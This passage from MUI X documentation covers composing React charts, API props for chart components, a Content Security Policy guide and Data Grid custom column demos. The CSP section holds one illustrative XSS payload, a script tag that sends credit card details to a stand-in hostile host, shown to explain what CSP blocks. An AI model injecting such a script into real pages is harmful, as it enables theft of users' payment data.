                    borderRadius: 5,
                  }}
                />
              </td>
              <td>{`${v.label}`}</td>
            </tr>
          );
        })}
      </tbody>
    </table>
  );
}

const veryLongText =
  "Second Series. You should always try to avoid long sentences. But oftentimes, it's not possible. So, we need to handle them gracefully. This is a very long sentence that should be fully readable.";

export default function HtmlLegend() {
  return (
    <Box sx={{ height: 400, display: 'flex', flexDirection: 'column' }}>
      <ChartDataProvider
        series={[
          { label: 'First Series', type: 'bar', data: [100, 200] },
          { label: veryLongText, type: 'bar', data: [45, 333] },
        ]}
        xAxis={[{ data: ['A', 'B'], scaleType: 'band', id: 'x-axis', height: 28 }]}
      >
        <ChartsSurface>
          <BarPlot />
          <ChartsXAxis axisId="x-axis" />
          <ChartsYAxis />
        </ChartsSurface>
        <MyCustomLegend />
      </ChartDataProvider>
    </Box>
  );
}

```

:::warning
Note that the HTML components are not part of the SVG hierarchy.
This means they must be outside of the `ChartsSurface` component to avoid mixing HTML and SVG, and inside of the `ChartDataProvider` component to get access to the data.
:::


# ChartsClipPath API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Custom components](/x/react-charts/components/)

## Import

```jsx
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
// or
import { ChartsClipPath } from '@mui/x-charts';
// or
import { ChartsClipPath } from '@mui/x-charts-pro';
// or
import { ChartsClipPath } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| id | `string` | - | Yes |  |
| offset | `{ bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsClipPath/ChartsClipPath.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsClipPath/ChartsClipPath.tsx)

# ChartsSurface API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Custom components](/x/react-charts/components/)
- [Charts - Composition](/x/react-charts/composition/)

## Import

```jsx
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
// or
import { ChartsSurface } from '@mui/x-charts';
// or
import { ChartsSurface } from '@mui/x-charts-pro';
// or
import { ChartsSurface } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsSurface/ChartsSurface.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsSurface/ChartsSurface.tsx)

---

# Source: https://mui.com/x/react-charts/composition.md

---
title: React Chart composition
productId: x-charts
githubLabel: 'scope: charts'
components: ChartContainer, ChartContainerPro, ChartsGrid, ChartDataProvider, ChartDataProviderPro, ChartsSurface
packageName: '@mui/x-charts'
---

# Charts - Composition

Learn how to use composition to build advanced custom Charts.

The MUI X Charts components follow an architecture based on context providers: you can pass your series and axes definitions to specialized components that transform the data and make it available to its descendants.
These descendants can then be composed.

There are two main types of components used to create Charts: [structural](#structural-components) and [graphical](#graphical-components).

## Structural components

Structural components are used to define a chart's dimensions, surfaces, and data.

- Basics
  - `ChartDataProvider` provides data to descendants.
  - `ChartsSurface` renders the SVG element.
- Helpers
  - `ChartContainer` combines the Data Provider and Surface components.
  - `ChartsWrapper` styled div that positions surface, tooltip, and legend on a grid.

:::info
Demos in this doc use the `ChartContainer` component.
For demos using `ChartDataProvider` and `ChartsSurface`, see [HTML components](/x/react-charts/components/#html-components).
:::

### Chart Data Provider and Surface usage

Notice that the `width` and `height` props are passed to `ChartDataProvider` and not `ChartsSurface`.

`ChartsLegend` is placed inside `ChartDataProvider` to get access to the context, but outside `ChartsSurface` since it's not an SVG component.

```jsx
<ChartDataProvider
  // The configuration of the chart
  series={[{ type: 'bar', data: [100, 200] }]}
  xAxis={[{ scaleType: 'band', data: ['A', 'B'] }]}
  width={500}
  height={300}
>
  <ChartsLegend />
  <ChartsSurface
    // Ref needs to be directly on ChartsSurface
    ref={mySvgRef}
  >
    {children}
  </ChartsSurface>
</ChartDataProvider>
```

### Chart Container usage

`ChartContainer` is the direct concatenation of `ChartDataProvider` and `ChartsSurface`.
It takes care of dispatching props between the two components.

Using `ChartContainer` has one major drawback: all the children will be inside `ChartsSurface`.
You can't render HTML elements such as `ChartsLegend` as shown in the previous example.

```jsx
<ChartContainer
  // The configuration of the chart
  series={[{ type: 'bar', data: [100, 200] }]}
  xAxis={[{ scaleType: 'band', data: ['A', 'B'] }]}
  width={500}
  height={300}
  // Ref is forwarded internally to ChartsSurface
  ref={mySvgRef}
>
  {children} // Only SVG component here
</ChartContainer>
```

### Chart Wrapper usage

Charts are often constructed of a graphic with a legend.
`ChartsWrapper` helps position those elements in a grid structure.

The children should have a CSS `gridArea` property set to `'chart'`, `'legend'`, or `'toolbar'`.
This is done by default on built-in components.

The layout can be modified with the [wrapper props](/x/api/charts/charts-wrapper/).

```jsx
<ChartDataProvider height={300} series={ /* ... */ }>
  <ChartsWrapper legendDirection='horizontal' legendPosition={{ vertical: 'bottom' }}>
    <ChartsLegend direction='horizontal' />
    <ChartsSurface>
      {children}
    </ChartsSurface>
  </ChartsWrapper>
</ChartDataProvider>
```

## Graphical components

Graphical components are used to render the visual elements of a chart.
They are descendants of [`ChartDataProvider`](#structural-components) described above.
These are too numerous to list, but common examples include:

- `LinePlot`
- `BarPlot`
- `ChartsXAxis`
- `ChartsLegend`
- `ChartsTooltip`

You can also [create your own custom components](/x/react-charts/components/) for this purpose.

## Container options

### Responsive dimensions

`ChartContainer` is responsive by default: it automatically adjusts its dimensions to fit the available space defined by the parent element.

Provide the `width` and `height` props to define the dimensions of a chart.

:::warning
For a chart to be responsive, its parent element must have intrinsic dimensions.
If the parent's dimensions rely on its content, the responsive chart will not render.
:::

The demo below lets you switch between a chart with discrete dimensions (`width={500} height={300}`) and one with no dimensions defined, so you see how they differ.

```tsx
import * as React from 'react';
import Paper from '@mui/material/Paper';
import Box from '@mui/material/Box';
import Checkbox from '@mui/material/Checkbox';
import FormControlLabel from '@mui/material/FormControlLabel';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarPlot } from '@mui/x-charts/BarChart';
import { LinePlot, MarkPlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';

export default function BasicComposition() {
  const [isResponsive, setIsResponsive] = React.useState(false);

  const sizingProps = isResponsive ? {} : { width: 500, height: 300 };
  return (
    <Box sx={{ width: '100%', overflow: 'auto' }}>
      <FormControlLabel
        checked={isResponsive}
        control={
          <Checkbox onChange={(event) => setIsResponsive(event.target.checked)} />
        }
        label="Use responsive container"
        labelPlacement="end"
      />

      <Paper sx={{ margin: 1, height: 300 }} elevation={3}>
        <ChartContainer
          series={[
            {
              type: 'bar',
              data: [1, 2, 3, 2, 1],
            },
            {
              type: 'line',
              data: [4, 3, 1, 3, 4],
            },
          ]}
          xAxis={[
            {
              data: ['A', 'B', 'C', 'D', 'E'],
              scaleType: 'band',
              id: 'x-axis-id',
              height: 48,
            },
          ]}
          {...sizingProps}
        >
          <BarPlot />
          <LinePlot />
          <MarkPlot />
          <ChartsXAxis label="X axis" axisId="x-axis-id" />
        </ChartContainer>
      </Paper>
    </Box>
  );
}

```

### Properties

`ChartContainer` takes all props that are not specific to a single graphical element.
This includes:

- The `xAxis` and `yAxis` props—see [Axis](/x/react-charts/axis/) for details
- The `colors` prop—see [Styling—Color palette](/x/react-charts/styling/#color-palette) for details
- The `series` and `dataset` props

#### Series

The `series` prop is an array of series definitions.
See the following documents to learn more about each specific series type:

- [Line](/x/react-charts/lines/)
- [Bar](/x/react-charts/bars/)
- [Pie](/x/react-charts/pie/)
- [Scatter](/x/react-charts/scatter/)

When using a [self-contained Chart component](/x/react-charts/quickstart/#self-contained-charts), it's assumed that the series type corresponds to the Chart type.
For example, `BarChart` assumes that `series` is of type `'bar'`.

```jsx
<BarChart
  series={[
    {
      // No need to specify the series type
      data: [1, 2, 3],
    },
  ]}
/>
```

When composing a custom chart, `ChartContainer` doesn't know the series type, so you must explicitly define it.
For example, the custom chart below uses both `BarPlot` and `LinePlot`, and each one requires a corresponding `type` for its `data`.

```jsx
<ChartContainer
  series={[
    // This series is for the bar plot
    { data: [1, 2, 3], type: 'bar' },
    // This series is for the line plot
    { data: [3, 2, 1], type: 'line' },
  ]}
>
  <BarPlot /> {/* Only displays the series with type: 'bar' */}
  <LinePlot /> {/* Only displays series with type: 'line' */}
</ChartContainer>
```

Those series can use the `dataset` prop the same way that a single-component chart does.
See [Bars—Using a dataset](/x/react-charts/bars/#using-a-dataset) for more details.

In the demo below, the chart is constructed by combining `BarPlot` and `LinePlot`.
You can modify the series `type` property to switch between rendering a line and a bar.

```jsx
<ChartContainer
  series={[
    { type, data: [1, 2, 3, 2, 1] },
    { type, data: [4, 3, 1, 3, 4] },
  ]}
>
  <BarPlot />
  <LinePlot />
  <ChartsXAxis label="X axis" axisId="x-axis-id" />
</ChartContainer>
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarPlot } from '@mui/x-charts/BarChart';
import { LinePlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';

export default function SwitchSeriesType() {
  const [type, setType] = React.useState<'line' | 'bar'>('line');

  return (
    <Box sx={{ width: '100%' }}>
      <TextField
        select
        value={type}
        onChange={(event) => setType(event.target.value as 'line' | 'bar')}
        label="series type"
        sx={{ minWidth: 150 }}
      >
        <MenuItem value="line">line</MenuItem>
        <MenuItem value="bar">bar</MenuItem>
      </TextField>

      <div>
        <ChartContainer
          series={[
            {
              type,
              data: [1, 2, 3, 2, 1],
            },
            {
              type,
              data: [4, 3, 1, 3, 4],
            },
          ]}
          xAxis={[
            {
              data: ['A', 'B', 'C', 'D', 'E'],
              scaleType: 'band',
              id: 'x-axis-id',
              height: 48,
            },
          ]}
          height={200}
        >
          <BarPlot />
          <LinePlot />
          <ChartsXAxis label="X axis" axisId="x-axis-id" />
        </ChartContainer>
      </div>
    </Box>
  );
}

```

## Subcomponents

:::info
The CSS `z-index` property does not exist on SVG elements, so the order of SVG elements in the composed component is the only way to define how they overlap.
Elements rendered later display above elements rendered earlier.
:::

### Plotting

To display data, you can use the components named `[Type]Plot` such as `LinePlot`, `AreaPlot`, `MarkPlot`, `BarPlot`, and more.

### Clipping

Use the `ChartsClipPath` component to ensure chart elements stay confined to the designated drawing area.
This component defines a rectangular clip path that acts as a boundary.

Here's how to apply it:

1. Define the clip path: Use `<ChartsClipPath id={clipPathId} />` to establish the clip path for the drawing area. `clipPathId` must be a unique identifier.
2. Wrap the Chart: Enclose the chart elements you want to clip within a `<g>` element. Set the `clipPath` attribute to `url(#${clipPathId})` to reference the previously defined clip path. Example: ``<g clipPath={`url(#${clipPathId})`}>``

```jsx
<ChartContainer>
  <g clipPath={`url(#${clipPathId})`}>
    // The plotting to clip in the drawing area.
    <ScatterPlot />
    <LinePlot />
  </g>
  <ChartsClipPath id={clipPathId} /> // Defines the clip path of the drawing area.
</ChartContainer>
```

The demo below lets you toggle clipping for scatter and line plots.
Observe how the line markers extend beyond the clip area, rendering on top of the axes.

```tsx
import * as React from 'react';
import Slider from '@mui/material/Slider';
import Box from '@mui/material/Box';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import useId from '@mui/utils/useId';

import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { ScatterPlot } from '@mui/x-charts/ScatterChart';
import { LinePlot, MarkPlot } from '@mui/x-charts/LineChart';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsGrid } from '@mui/x-charts/ChartsGrid';

import { Chance } from 'chance';

const chance = new Chance(42);

const data = Array.from({ length: 100 }, () => ({
  x: chance.floating({ min: -25, max: 25 }),
  y: chance.floating({ min: -25, max: 25 }),
})).map((d, index) => ({ ...d, id: index }));

const minDistance = 10;

export default function LimitOverflow() {
  const [isLimited, setIsLimited] = React.useState(false);
  const [xLimits, setXLimites] = React.useState<number[]>([-20, 20]);

  const id = useId();
  const clipPathId = `${id}-clip-path`;

  const handleChange = (
    event: Event,
    newValue: number | number[],
    activeThumb: number,
  ) => {
    if (!Array.isArray(newValue)) {
      return;
    }

    if (newValue[1] - newValue[0] < minDistance) {
      if (activeThumb === 0) {
        const clamped = Math.min(newValue[0], 100 - minDistance);
        setXLimites([clamped, clamped + minDistance]);
      } else {
        const clamped = Math.max(newValue[1], minDistance);
        setXLimites([clamped - minDistance, clamped]);
      }
    } else {
      setXLimites(newValue as number[]);
    }
  };

  return (
    <Box sx={{ width: '100%', maxWidth: 500 }}>
      <FormControlLabel
        checked={isLimited}
        control={
          <Checkbox onChange={(event) => setIsLimited(event.target.checked)} />
        }
        label="Clip the plot"
        labelPlacement="end"
      />
      <ChartContainer
        xAxis={[
          {
            label: 'x',
            min: xLimits[0],
            max: xLimits[1],
            data: [-30, -25, -20, -15, -10, -5, 0, 5, 10, 15, 20, 25],
            height: 48,
          },
        ]}
        series={[
          { type: 'scatter', data, markerSize: 8 },
          {
            type: 'line',
            data: [10, 13, 12, 5, -6, -3, 4, 20, 18, 17, 12, 11],
            showMark: true,
          },
        ]}
        height={300}
      >
        <ChartsGrid vertical horizontal />
        <g clipPath={`url(#${clipPathId})`}>
          <ScatterPlot />
          <LinePlot />
        </g>
        <ChartsXAxis />
        <ChartsYAxis />
        <MarkPlot />
        {isLimited && <ChartsClipPath id={clipPathId} />}
      </ChartContainer>

      <Slider
        value={xLimits}
        onChange={handleChange}
        valueLabelDisplay="auto"
        min={-40}
        max={40}
      />
    </Box>
  );
}

```

:::warning
The demo above generates a unique ID with `useId()`.

```js
const id = useId();
const clipPathId = `${id}-clip-path`;
```

It's important to generate unique IDs for clip paths, especially when dealing with multiple charts on a page.
Assigning a static ID like `"my-id"` leads to conflicts.
:::

### Axis

To add axes, use `ChartsXAxis` and `ChartsYAxis` as described in [Axis—Composition](/x/react-charts/axis/#composition).
These components take an `axisId` prop that indicates which axis defined in the container should be rendered.
If `axisId` is not provided, the first axis is used by default.

### Grid

Use `ChartsGrid` to add a grid to the component.
See [Axis—Grid](/x/react-charts/axis/#grid) for more information.

### Legend

Use `ChartsLegend` to display a legend with information about the chart.

:::warning
`ChartsLegend` is an HTML element since v8.
It must be rendered inside `ChartDataProvider` to gain access to the data, but outside of `ChartsSurface` since it's not an SVG element.

This means you can't use it inside `ChartContainer`.
You must use `ChartDataProvider` and `ChartsSurface` instead.

```jsx
// ✅ Correct
<ChartDataProvider>
  <ChartsLegend />
  <ChartsSurface>{/* SVG components */}</ChartsSurface>
</ChartDataProvider>

// ❌ Incorrect
<ChartContainer>
  <ChartsLegend />
</ChartContainer>
```

:::

See [HTML components](/x/react-charts/components/#html-components) for more information about custom legends.

### Interaction

You can add interactive elements such as `ChartsAxisHighlight` and `ChartsTooltip` as illustrated in the demo below.

```tsx
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { LinePlot, MarkPlot } from '@mui/x-charts/LineChart';
import { ChartsLegend } from '@mui/x-charts/ChartsLegend';
import { ChartsTooltip } from '@mui/x-charts/ChartsTooltip';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsAxisHighlight } from '@mui/x-charts/ChartsAxisHighlight';
import Box from '@mui/material/Box';

const pData = [2400, 1398, 9800, 3908, 4800, 3800, 4300];
const xLabels = [
  'Page A',
  'Page B',
  'Page C',
  'Page D',
  'Page E',
  'Page F',
  'Page G',
];

export default function LegendTooltipComposition() {
  return (
    <Box
      sx={{
        width: '100%',
        overflow: 'auto',
        display: 'flex',
        flexDirection: 'column',
        alignItems: 'center',
      }}
    >
      <ChartDataProvider
        height={300}
        series={[{ type: 'line', data: pData, label: 'Sales Data' }]}
        xAxis={[{ scaleType: 'point', data: xLabels }]}
        yAxis={[{ width: 50 }]}
        margin={{ top: 30, right: 30, bottom: 20, left: 20 }}
      >
        <ChartsLegend />
        <ChartsTooltip />
        <ChartsSurface>
          <ChartsXAxis />
          <ChartsYAxis />
          <LinePlot />
          <MarkPlot />
          <ChartsAxisHighlight x="line" />
        </ChartsSurface>
      </ChartDataProvider>
    </Box>
  );
}

```

:::info
By default, `ChartContainer` listens to mouse events to keep track of where the mouse is located on the chart.

If you're not using the axis highlight or the tooltip, consider disabling this feature with the `disableAxisListener` prop.

```jsx
<ChartContainer {...} disableAxisListener>
```

:::

## Examples

### Bell curve

This example demonstrates how to combine scatter and line plots to overlay a normal distribution curve (known as a bell curve) over scattered data points.
The bell curve is calculated based on the mean and standard deviation of the data.

```tsx
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { ScatterPlot } from '@mui/x-charts/ScatterChart';
import { LinePlot } from '@mui/x-charts/LineChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';
import { internetUsageByCountry } from '../dataset/internetUsageByCountry';

const data = Object.values(internetUsageByCountry);

function calculateStatistics(values: number[]) {
  const n = values.length;
  const mean = values.reduce((sum, val) => sum + val, 0) / n;
  const variance = values.reduce((sum, val) => sum + Math.pow(val - mean, 2), 0) / n;
  const stdDev = Math.sqrt(variance);
  return { mean, stdDev };
}

function normalDistribution(x: number, mean: number, stdDev: number) {
  const exponent = -Math.pow(x - mean, 2) / (2 * Math.pow(stdDev, 2));
  return (1 / (stdDev * Math.sqrt(2 * Math.PI))) * Math.exp(exponent);
}

export default function BellCurveOverlay() {
  const { mean, stdDev } = calculateStatistics(data);

  // Generate bell curve data
  const min = Math.min(...data);
  const max = Math.max(...data);
  const range = max - min;
  const bellCurveData: number[] = [];
  const xValues: number[] = [];
  const numPoints = 100;

  for (let i = 0; i <= numPoints; i += 1) {
    const x = min - range * 0.1 + ((max - min + range * 0.2) * i) / numPoints;
    xValues.push(x);
    bellCurveData.push(normalDistribution(x, mean, stdDev));
  }

  // Stack points that are close together
  const binWidth = range / 70; // Adjust this to control stacking sensitivity
  const sortedData = [...data].sort((a, b) => a - b);
  const bins: Map<number, number[]> = new Map();

  // Group values into bins
  sortedData.forEach((value) => {
    const binIndex = Math.round(value / binWidth);
    if (!bins.has(binIndex)) {
      bins.set(binIndex, []);
    }
    bins.get(binIndex)!.push(value);
  });

  // Create scatter data with stacked y-positions
  const scatterData: Array<{ x: number; y: number; id: number }> = [];
  let globalIndex = 0;
  const baseY = 0.0005;
  const stackHeight = 0.001;

  bins.forEach((values) => {
    values.forEach((value, stackIndex) => {
      scatterData.push({
        x: value,
        y: baseY + stackIndex * stackHeight,
        id: globalIndex,
      });
      globalIndex += 1;
    });
  });

  return (
    <div style={{ width: '100%' }}>
      <ChartContainer
        series={[
          {
            type: 'scatter',
            data: scatterData,
            label: 'Data points',
            id: 'scatter',
            markerSize: 4,
          },
          {
            type: 'line',
            data: bellCurveData,
            label: 'Normal distribution',
            id: 'bell-curve',
            color: '#f97316',
            curve: 'natural',
            showMark: false,
          },
        ]}
        xAxis={[
          {
            data: xValues,
            min: min - range * 0.1,
            max: max + range * 0.1,
            label: 'Individuals using the Internet (% of population)',
            valueFormatter: (value: string) => `${value}%`,
          },
        ]}
        yAxis={[
          {
            position: 'none',
          },
        ]}
        height={400}
      >
        <ScatterPlot />
        <LinePlot />
        <ChartsReferenceLine
          x={mean}
          label="Mean"
          lineStyle={{ strokeWidth: 2 }}
          labelStyle={{ fontWeight: 'bold' }}
          labelAlign="start"
          spacing={{ y: 40 }}
        />
        <ChartsReferenceLine
          x={mean - stdDev}
          label="-1σ"
          lineStyle={{ strokeWidth: 1.5, strokeDasharray: '5 5' }}
          labelAlign="start"
          spacing={{ y: 40 }}
        />
        <ChartsReferenceLine
          x={mean + stdDev}
          label="+1σ"
          lineStyle={{ strokeWidth: 1.5, strokeDasharray: '5 5' }}
          labelAlign="start"
          spacing={{ y: 40 }}
        />
        <ChartsXAxis />
        <ChartsYAxis />
      </ChartContainer>
    </div>
  );
}

```

---

# Source: https://mui.com/x/react-charts/content-security-policy.md

---
title: Content Security Policy (CSP)
productId: x-charts
---

# Charts - Content Security Policy (CSP)

This section covers the details of setting up a Content Security Policy.

## What is CSP and why is it useful?

CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at `https://example.com` the CSP header `default-src: 'self';` will allow all assets that are located at `https://example.com/*` and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:

```html
<script>
  sendCreditCardDetails('https://hostile.example');
</script>
```

This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.

You can read more about CSP on the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP).

## Setting up a CSP

MUI X Charts depends on Material UI, thus to set up a CSP, you need to follow Material UI's [CSP implementation guide](/material-ui/guides/content-security-policy/#how-does-one-implement-csp).

### CSP for exporting

MUI X Charts allow [exporting charts](/x/react-charts/export/) as images or PDFs.
When a Content Security Policy is set, exporting requires additional configuration to function.

To enable exporting with CSP, you need to allow the use of `data:` and `blob:` URIs for images. This can be done by adding the following directives to your CSP header:

```text
Content-Security-Policy: img-src 'self' data: blob:;
```

If your CSP defines a nonce for scripts or styles (for example, `script-src 'nonce-<value>'`), you also need to provide the same nonce when exporting.

This can be done by passing the nonce to the `printOptions` and `imageExportOptions` props of the `toolbar` slot.

```tsx
<LineChartPro
  {...settings}
  showToolbar
  slotProps={{
    toolbar: {
      printOptions: { nonce },
      imageExportOptions: [
        { type: 'image/png', nonce },
        { type: 'image/jpeg', nonce },
        { type: 'image/webp', nonce },
      ],
    },
  }}
/>
```

---

# Source: https://mui.com/x/api/charts/continuous-color-legend.md

# ContinuousColorLegend API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Legend](/x/react-charts/legend/)

## Import

```jsx
import { ContinuousColorLegend } from '@mui/x-charts/ChartsLegend';
// or
import { ContinuousColorLegend } from '@mui/x-charts';
// or
import { ContinuousColorLegend } from '@mui/x-charts-pro';
// or
import { ContinuousColorLegend } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| axisDirection | `'x' \| 'y' \| 'z'` | `'z'` | No |  |
| axisId | `number \| string` | `The first axis item.` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| direction | `'horizontal' \| 'vertical'` | `'horizontal'` | No |  |
| gradientId | `string` | `auto-generated id` | No |  |
| labelPosition | `'start' \| 'end' \| 'extremes'` | `'end'` | No |  |
| maxLabel | `func \| string` | `formattedValue` | No |  |
| minLabel | `func \| string` | `formattedValue` | No |  |
| reverse | `bool` | `false` | No |  |
| rotateGradient | `bool` | - | No |  |
| thickness | `number` | `12` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLUListElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiContinuousColorLegend` to change the default props of this component with the theme.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | end | Styles applied to the legend with the labels after the gradient. |
| - | extremes | Styles applied to the legend with the labels on the extremes of the gradient. |
| - | gradient | Styles applied to the list item with the gradient. |
| - | horizontal | Styles applied to the legend in row layout. |
| - | label | Styles applied to the series label. |
| - | maxLabel | Styles applied to the list item that renders the `maxLabel`. |
| - | minLabel | Styles applied to the list item that renders the `minLabel`. |
| - | root | Styles applied to the root element. |
| - | start | Styles applied to the legend with the labels before the gradient. |
| - | vertical | Styles applied to the legend in column layout. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsLegend/ContinuousColorLegend.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsLegend/ContinuousColorLegend.tsx)

---

# Source: https://mui.com/x/react-data-grid/custom-columns.md

# Data Grid - Custom columns

Create custom column types.

You can extend the [built-in column types](/x/react-data-grid/column-definition/#column-types) with your own by simply spreading the necessary properties.

The demo below defines a new column type: `usdPrice` that extends the native `number` column type.

```ts
const usdPrice: GridColTypeDef = {
  type: 'number',
  width: 130,
  valueFormatter: (value) => valueFormatter.format(Number(value)),
  cellClassName: 'font-tabular-nums',
};
```

```tsx
import Box from '@mui/material/Box';
import { DataGrid, GridColTypeDef } from '@mui/x-data-grid';
import { randomStatusOptions, randomPrice } from '@mui/x-data-grid-generator';

const rows = [
  {
    id: 1,
    status: randomStatusOptions(),
    subTotal: randomPrice(),
    total: randomPrice(),
  },
  {
    id: 2,
    status: randomStatusOptions(),
    subTotal: randomPrice(),
    total: randomPrice(),
  },
  {
    id: 3,
    status: randomStatusOptions(),
    subTotal: randomPrice(),
    total: randomPrice(),
  },
];

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
});

const usdPrice: GridColTypeDef = {
  type: 'number',
  width: 130,
  valueFormatter: (value) => currencyFormatter.format(value),
  cellClassName: 'font-tabular-nums',
};

export default function CustomColumnTypesGrid() {
  return (
    <Box
      sx={{
        height: 300,
        width: '100%',
        '& .font-tabular-nums': {
          fontVariantNumeric: 'tabular-nums',
        },
      }}
    >
      <DataGrid
        columns={[
          { field: 'status', width: 130 },
          { field: 'subTotal', ...usdPrice },
          { field: 'total', ...usdPrice },
        ]}
        rows={rows}
      />
    </Box>
  );
}

```

:::info
If an unsupported column type is used, the `string` column type will be used instead.
:::

## Sparkline

Sparkline charts can be useful as an overview of data trends.

In the demo below, we create a custom column type using the `GridColTypeDef` interface and use the [Sparkline](/x/react-charts/sparkline/) component from [`@mui/x-charts`](/x/react-charts/) package in the [`renderCell`](/x/react-data-grid/column-definition/#rendering-cells) property.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridColDef,
  GridColTypeDef,
  GridRenderCellParams,
  GRID_STRING_COL_DEF,
} from '@mui/x-data-grid';
import { SparkLineChart } from '@mui/x-charts/SparkLineChart';

type SparkLineChartProps = React.ComponentProps<typeof SparkLineChart>;

function GridSparklineCell(
  props: GridRenderCellParams & {
    plotType?: SparkLineChartProps['plotType'];
  },
) {
  if (props.value == null) {
    return null;
  }

  return (
    <SparkLineChart
      data={props.value}
      width={props.colDef.computedWidth}
      plotType={props.plotType}
    />
  );
}

const sparklineColumnType: GridColTypeDef<number[]> = {
  ...GRID_STRING_COL_DEF,
  type: 'custom',
  resizable: false,
  filterable: false,
  sortable: false,
  editable: false,
  groupable: false,
  display: 'flex',
  renderCell: (params) => <GridSparklineCell {...params} />,
};

const columns: GridColDef<(typeof rows)[number]>[] = [
  { field: 'name', headerName: 'Package name', width: 180 },
  {
    field: 'monthlyDownloads',
    ...sparklineColumnType,
    headerName: 'Monthly DLs (line)',
    width: 150,
  },
  {
    field: 'monthlyDownloadsBar',
    ...sparklineColumnType,
    headerName: 'Monthly DLs (bar)',
    renderCell: (params) => <GridSparklineCell {...params} plotType="bar" />,
    width: 150,
    valueGetter: (value, row) => row.monthlyDownloads,
  },
  {
    field: 'lastMonthDownloads',
    headerName: 'Last month DLs',
    type: 'number',
    valueGetter: (value, row) =>
      row.monthlyDownloads[row.monthlyDownloads.length - 1],
    width: 150,
  },
];

export default function SparklineColumn() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </div>
  );
}

const rows = [
  {
    name: 'react-datepicker',
    monthlyDownloads: [
      469172, 488506, 592287, 617401, 640374, 632751, 668638, 807246, 749198, 944863,
      911787, 844815, 992022, 1143838, 1446926, 1267886, 1362511, 1348746, 1560533,
      1670690, 1695142, 1916613, 1823306, 1683646, 2025965, 2529989, 3263473,
      3296541, 3041524, 2599497, 2719473, 2610351, 2912067, 3079330, 2871077,
      2684197, 2852679, 3227844, 3867488, 3582735, 3454135, 3799207, 3813848,
      3839009, 4054869, 4319042, 4388671, 4149743, 4519686, 4810266, 5621007,
      5260194, 5563038, 5837767, 5342797, 6427653, 6611624, 6532709, 6886198,
      6071253, 6730371, 7097963, 8001343, 6867713, 7688481,
    ],
    id: 0,
  },
  {
    name: '@mui/x-date-pickers',
    monthlyDownloads: [
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
      557488, 1341471, 2044561, 2206438, 2682543, 2772941, 2987705, 3264829, 2972821,
      3489759, 3698191, 4410492, 4201780, 4892509,
    ],
    id: 1,
  },
  {
    name: 'flatpickr',
    monthlyDownloads: [
      166896, 190041, 248686, 226746, 261744, 271890, 332176, 381123, 396435, 495620,
      520278, 460839, 704158, 559134, 681089, 712384, 765381, 771374, 851314, 907947,
      903675, 1049642, 1003160, 881573, 1072283, 1139115, 1382701, 1395655, 1355040,
      1381571, 1495175, 1513409, 1673240, 1772826, 1712051, 1641944, 1718714,
      1849475, 2226745, 2104910, 1967886, 2096636, 1991424, 2155674, 2263360,
